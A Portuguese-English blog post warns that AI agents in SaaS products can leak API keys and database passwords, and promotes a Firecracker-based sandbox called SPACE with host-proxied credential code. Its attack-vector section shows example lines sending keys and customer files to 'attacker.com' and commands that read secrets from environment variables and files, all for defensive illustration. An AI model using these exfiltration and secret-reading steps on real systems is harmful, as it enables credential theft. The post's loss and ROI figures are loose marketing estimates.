Agent seu vaza credential (e você não sabe)

Agent seu vaza credential (e você não sabe)

Cenário assustador (que está acontecendo agora):

Você tem SaaS com agent (atendimento, vendas, automação).

Agent precisa fazer tarefas:

• Browse website (pegar informação)
• Call API (integração com terceiro)
• Access database (seu customer data)
• Enviar email (notificação)

Para fazer isso, agent precisa:

• API key (Stripe, Salesforce, etc)
• Database password
• Email credentials
• Access tokens

Pergunta:

Onde você guarda essas credentials?

Opcão A: Em variável de ambiente

API_KEY = "sk_live_abc123xyz789" DB_PASSWORD = "P@ssw0rd123" EMAIL_TOKEN = "token_xyz"

Opcão B: Em arquivo (config.json)

{ "stripe_key": "sk_live_...", "database_password": "...", "slack_token": "xoxb-..." }

Opcão C: No código (hardcoded) python API_KEY = "sk_live_abc123xyz789" # DON'T DO THIS

Realidade assustadora:

Seu agent tem acesso a TODAS essas credentials.

Agent roda em:

• Seu servidor (você controla)
• Docker container (você controla)
• Kubernetes pod (você controla)

Problema:

O que impede agent de vazar essas credentials?

Resposta: NADA (hoje, na maioria dos SaaS).

Agent pode:

1. Exfiltrate credential (enviar pra servidor hacker)
2. Usa credential pra fazer algo malicioso
3. Vender credential (dark web)
4. Você descobre semanas depois (se descobrir)

Exemplo real:

Agent task: "Compare preços no Stripe (nosso processador)." Agent precisa: STRIPE_SECRET_KEY (pra chamar API) Agent rooda: normal, completa tarefa

Mas secretamente: Agent malicioso exfiltra STRIPE_SECRET_KEY Hacker recebe key Hacker acessa todas transactions (R$ 100M/ano?) Hacker steal customers' credit cards Você descobre: em court (lawsuit, reputation bomb)

Fatal flaw: Agent tinha acesso, nada impedia vazamento.

Realidade nova:

Perplexity acaba de open-source SPACE (agent sandbox).

Ideia: Agent roda em container isolado (sem acesso a credentials).

Significado: Agent não consegue vazar o que não tem acesso.

---

O Problema: Agent credential exposure

Por quê é perigoso

Anatomy of credential leakage:

1. Agent design You: "Agent, complete this task." Agent needs:

   • API key (external service)
   • Database password (customer data)
   • Email token (send notifications)

2. Agent runtime Agent starts: container/VM/process Agent sees: ALL environment variables Agent sees: ALL mounted files Agent sees: ALL network interfaces

   Example:

   $ echo $STRIPE_SECRET_KEY sk_live_abc123xyz789

   $ cat /etc/secrets/db.password P@ssw0rd123

3. Agent execution Agent: "I need STRIPE_SECRET_KEY to call Stripe." You (dev): "OK, here it is." [pass in env var] Agent: "Great. Also, let me save this to a log file (for debugging)." You: "???" Agent: saved STRIPE_SECRET_KEY to /tmp/agent.log

4. Leakage Attacker: hacks your server (1 day later) Attacker: finds /tmp/agent.log Attacker: extract STRIPE_SECRET_KEY Attacker: uses key to steal customer payment data Attacker: disappears with R$ 10M

   You: "How did they get the key?" Answer: Agent saved it (you didn't know)

Attack vectors:

1. Agent logs credential (accidental) Agent: "Connecting to database: P@ssw0rd123" Logs: saved to /var/log/agent.log Attacker: reads logs Result: credential compromised

2. Agent exfiltrates credential (intentional?) Agent: "Calling external service: https://attacker.com/?key=sk_live_xyz" Result: Attacker has your API key

3. Agent keeps credential in memory Agent: stores API key in Python variable (lifetime: whole execution) Memory dump: attacker gets full credential Result: full access to service

4. Agent writes credential to shared filesystem Agent: creates /tmp/creds.txt (world-readable) Another process: reads /tmp/creds.txt Result: other apps get your secrets

5. Agent credential in error message Agent: raises exception "Failed to connect: P@ssw0rd123 rejected" Exception logged: credential exposed Result: log aggregation system has your password

Damage potential:

If agent leaks STRIPE_SECRET_KEY:

• Attacker: access all transactions
• Attacker: refund payments (steal your refunds)
• Attacker: create test charges (PCI violation)
• Cost: R$ 1M+ (fraud, PCI fines, customer lawsuits)

If agent leaks DATABASE_PASSWORD:

• Attacker: access all customer data
• LGPD fine: R$ 2% of revenue (or max R$ 50M)
• Reputation: destroyed ("Company leaked customer data")

If agent leaks AWS_SECRET:

• Attacker: stop your services (denial of service)
• Attacker: download all backups
• Cost: operations downtime + data loss

Why traditional approaches fail

Attempt 1: Env vars (insecure)

You: "Store secrets in environment variables." Agent: can read all env vars Problem: Agent has full access

$ env | grep SECRET STRIPE_SECRET_KEY=sk_live_xyz DB_PASSWORD=P@ssw0rd

Agent: reads env, leaks it

Attempt 2: Vault/secrets manager (better, but incomplete)

You: "Use HashiCorp Vault (secure storage)." Agent: must call Vault API Vault: returns credential Agent: now has credential (again) Problem: Agent still has access (same issue)

Example: Agent calls: vault_get("stripe_key") Vault: returns secret Agent: now has secret (in memory, in logs, etc) Leakage: possible again

Attempt 3: Fine-grained IAM (AWS, GCP)

You: "Give agent minimal IAM permissions." Agent: role is read-only to specific S3 bucket Agent: can't access other resources Problem: Agent still has read permission (can exfiltrate that data)

Example: Agent: read-only to customer-data.s3.com Agent: calls: s3.get_object("customer.csv") Agent: sends to attacker: https://attacker.com/upload?file=customer.csv Result: customer data leaked

All approaches: same problem

The issue: Agent runs in SAME security context as you

• Same filesystem access
• Same environment variables
• Same network permissions
• Same everything

Solution: Agent DIFFERENT security context

• Different container/VM
• Limited filesystem (no credentials)
• Limited environment (no secrets)
• Limited network (only what's needed)
• Controlled outbound (whitelist only)

---

A Solução: Agent sandbox (SPACE)

What is SPACE?

Perplexity's approach:

SOLUTION: Firecracker microVM for each agent task

Architecture:

1. Main app (your SaaS)

   • Has all credentials
   • NOT accessible from agent

2. Agent sandbox (microVM)

   • Isolated Linux environment
   • Minimal filesystem (no secrets)
   • Limited network (proxy controlled)
   • Can't see host credentials
   • Can't access other VMs

3. Request/response Agent: "I need to call Stripe API" Host: (validates) Host: "OK, I'll call Stripe (you can't)" Host: calls Stripe (with credential) Host: returns result to agent Agent: can't access credential

Key principle:

Agent NEVER has credentials.

Agent needs external resource?

• Agent: "I need to call Stripe"
• Host: "What do you need from Stripe? (I'll do it)"
• Agent: "Get customer ID 123's balance."
• Host: calls Stripe (with secret key, externally)
• Host: returns balance to agent
• Agent: processes balance

Result:

• Agent never sees secret
• Agent can't leak what it doesn't have
• Credential stays safe

How SPACE works

Architecture:

Stack:

• Firecracker: lightweight VM (AWS technology)
• Linux kernel: minimal OS
• Agent runtime: Python/Node/whatever
• HTTP API: communication with host
• Server-sent events: streaming output

Flow:

1. Host: "Start agent task"
2. Firecracker: boot microVM (100ms)
3. VM: agent code starts
4. Agent: needs resource Agent: HTTP POST to host (via SSE) Host: validates request Host: performs action (with credential) Host: returns result
5. Agent: processes result
6. Agent: done, VM stops
7. VM memory: wiped (credential can't be extracted)

Security properties:

✓ Isolation: VM is separate process (can't access host) ✓ Minimal filesystem: VM has minimal OS (no secrets) ✓ Network control: all outbound goes through host (whitelist) ✓ Credential management: host keeps, not agent ✓ Ephemeral: VM killed after task (no persistent state) ✓ Memory wipe: after task, memory is freed (no extraction)

Example: Agent calling Stripe

Before (insecure):

python

Main app

STRIPE_SECRET_KEY = "sk_live_abc123xyz789"

Agent task

def agent_get_customer_balance(customer_id): import stripe stripe.api_key = STRIPE_SECRET_KEY # Agent has secret! customer = stripe.Customer.retrieve(customer_id) return customer.balance

Problem: Agent sees STRIPE_SECRET_KEY

Agent could log it, send it to attacker, etc

After (with SPACE):

python

Host (main app)

STRIPE_SECRET_KEY = "sk_live_abc123xyz789"

def handle_agent_request(request): if request.action == "get_stripe_customer": import stripe stripe.api_key = STRIPE_SECRET_KEY # Host has secret customer = stripe.Customer.retrieve(request.customer_id) return {"balance": customer.balance}

Agent (inside microVM)

def agent_get_customer_balance(customer_id): # Agent does NOT have STRIPE_SECRET_KEY # Agent calls host via HTTP response = host_request({ "action": "get_stripe_customer", "customer_id": customer_id }) return response["balance"]

Result: Agent never sees secret

---

Implementation: How to use SPACE

Setup (self-hosted)

Prerequisites:

• Linux server (or your infra)
• Firecracker installed (lightweight, minimal overhead)
• Agent code (Python, Node, etc)
• SPACE binary (open-source, GitHub)

Installation:

bash

Clone SPACE (Perplexity's sandbox)

git clone https://github.com/perplexityai/space.git cd space cargo build --release # Rust codebase

Run SPACE server

./target/release/space --listen 127.0.0.1:8080

Your app integration:

python

Your SaaS backend

import requests

def run_agent_task(agent_code, task_args): # Start agent in SPACE sandbox response = requests.post( "http://localhost:8080/api/tasks", json={ "code": agent_code, "args": task_args, "timeout": 30 # 30 seconds max } )

# Get result (agent can't see your credentials)
return response.json()["output"]

Your credential (stays in main app)

STRIPE_KEY = "sk_live_abc123xyz789"

Agent can call you for credential

def agent_api_endpoint(request): # Agent request: "Get my Stripe key" # You respond: NO # OR: "I'll call Stripe for you (what do you need?)" if request.action == "call_stripe": import stripe stripe.api_key = STRIPE_KEY # Your app, not agent result = stripe.Customer.retrieve(request.customer_id) return result

Deployment scenarios

Scenario 1: Self-hosted (full control)

Setup:

• Your servers: run SPACE
• Your credentials: stay in main process
• Agent: isolated in microVM
• Communication: HTTP (SSE for streaming)

Benefit: ✓ Full control (you own the sandbox) ✓ No third-party (no external service) ✓ Auditable (open-source code) ✓ Customizable (modify as needed)

Cost:

• Firecracker overhead: ~100MB RAM per VM
• Startup time: ~100ms per task
• Infrastructure: your servers
• Development: 1-2 weeks integration

Scenario 2: Kubernetes (container orchestration)

Setup:

• K8s pod: runs SPACE server
• Pod resources: limited (security)
• Network policy: only HTTP to host
• Agent code: injected via ConfigMap

Benefit: ✓ Scalable (multiple SPACE instances) ✓ Managed (K8s handles scheduling) ✓ Isolated (network policies enforce) ✓ Cost-efficient (share infrastructure)

Cost:

• K8s overhead: minimal
• Development: K8s integration

Scenario 3: Managed service (someday)

Option (not yet available):

• Perplexity (or others) offer SPACE as service
• You send: agent code
• Service: runs in their sandbox
• Result: you get output

Benefit (future): ✓ Zero infrastructure ✓ Built-in security (managed) ✓ Scaling (Perplexity handles) ✓ Compliance (audit trail)

Cost (future):

• Per-task pricing (like Lambda)
• Probably: R$ 1-10 per task

---

2-week implementation plan

Week 1: Integrate SPACE

☐ Day 1-2: Understand SPACE

• Read GitHub (architecture, API)
• Run locally (test sandbox)
• Understand HTTP protocol

☐ Day 3-4: Refactor agent code

• Currently: agent has credentials
• Change: agent requests resources (doesn't access)
• Example: Before: agent.stripe_key = secret After: host.call_stripe(customer_id)

☐ Day 5: API layer

• Create endpoint: agent calls host
• Endpoint validates request
• Endpoint performs action (with credential)
• Return result to agent

Example: python @app.post("/api/agent/call") def agent_request(request: AgentRequest): # Agent: "I need Stripe data" if request.action == "get_stripe_customer": # You: handle with credential stripe.api_key = STRIPE_SECRET return stripe.Customer.retrieve(request.id) elif request.action == "send_email": # You: handle with credential return send_email(request.to, request.subject, request.body)

Week 2: Deploy + test

☐ Day 1-2: Deploy SPACE

• Set up Firecracker on your servers
• Run SPACE server
• Test: can start/stop VMs

☐ Day 3: Integration test

• Run agent in SPACE sandbox
• Agent calls your API
• Verify: agent can't access credentials
• Verify: agent can call external services (via your proxy)

☐ Day 4: Security audit

• Attempt to break out of sandbox (VM escape)
• Check: agent can't read host files
• Check: agent can't access host environment
• Verify: all network goes through host (no direct outbound)

☐ Day 5: Launch

• Gradual rollout (5% agents → SPACE)
• Monitor: performance, errors
• Verify: agent output same (behavior unchanged)
• Full rollout

---

ROI: Why this matters

Cost of NOT securing

Scenario: Agent leaks API credential

• Attacker gets Stripe key
• Attacker steals R$ 500k (customer fraud)
• You discover: 2 weeks later
• Incident response: R$ 200k
• LGPD fine (data breach): R$ 5M
• Lawsuit (customer lawsuits): R$ 10M+
• Reputation: damaged ("Company leaked customer data")
• Lost customers: -R$ 2M ARR (annual)
• Total: R$ 17M+

Cost of securing (SPACE)

Implementation:

• Development: 1 week (2 devs = R$ 20k)
• Infrastructure: Firecracker (minimal, free)
• Deployment: R$ 10k
• Training: R$ 5k
• Total: ~R$ 35k

Benefit:

• Prevented breach: -R$ 17M avoided
• Competitive advantage: "Security-first agent"
• Customer trust: "Your data is safe"
• Compliance: LGPD-ready

ROI: (R$ 17M - R$ 35k) / R$ 35k = 485x Payback: < 1 week (if even prevents 1 breach)

Competitive advantage

Competitor (no sandbox): "We have agent. Stores credential in memory." Customer: "What if agent leaks credential?" Competitor: "Unlikely... we have logging controls." Customer: "That's... not safe. No." Deal lost.

Your SaaS (with SPACE): "We have agent. Runs in isolated microVM. No access to credentials." Customer: "How does it call APIs then?" You: "Through our proxy (we handle credential). Agent never sees it." Customer: "Perfect. That's secure. Let's go." Deal won.

Differential:

• Competitor: reactive ("it's probably safe")
• You: proactive ("we've architected safety")
• Customer perception: you're mature (thinking security first)
• Pricing power: can charge premium ("Security architecture")

---

Conclusão: Agent sandbox é não-negotiable

Realidade:

Agent tem acesso a sensitive resources

• APIs (payment, data)
• Credentials (keys, passwords)
• Customer data (PII)

Agent pode vazar (intentionally or not)

• Bug: logs credential
• Attack: exfiltrates secret
• Misconfiguration: saves credential to file

You can't afford breach

• Financial: R$ 5M+ (fines, fraud)
• Reputation: destroyed
• Legal: liable (LGPD)

Solution: Sandbox (SPACE)

• Agent isolated: different VM
• Agent no credential: can't leak
• Host controls: security enforced
• Open-source: auditable

Action immediate:

1. Audit: Does your agent have credential access? Yes → Critical risk (fix immediately) No → Good (but verify carefully)

2. Plan: Implement agent sandbox Option A: SPACE (open-source, self-hosted) Option B: Custom sandbox (if special needs) Option C: Cloud service (someday) Recommendation: Option A (proven, open-source)

3. Timeline: 2 weeks Week 1: Integrate SPACE Week 2: Deploy + test

4. Security audit Verify: agent can't access credentials Verify: all network proxied Verify: VM is isolated

5. Launch Gradual rollout (monitor) Full deployment Update marketing ("Security-first")

→ OpenClaw: Agent Sandbox, Credential Security, Firecracker, Perplexity SPACE

Seu agent está isolado? Ou vaza credential? 🔐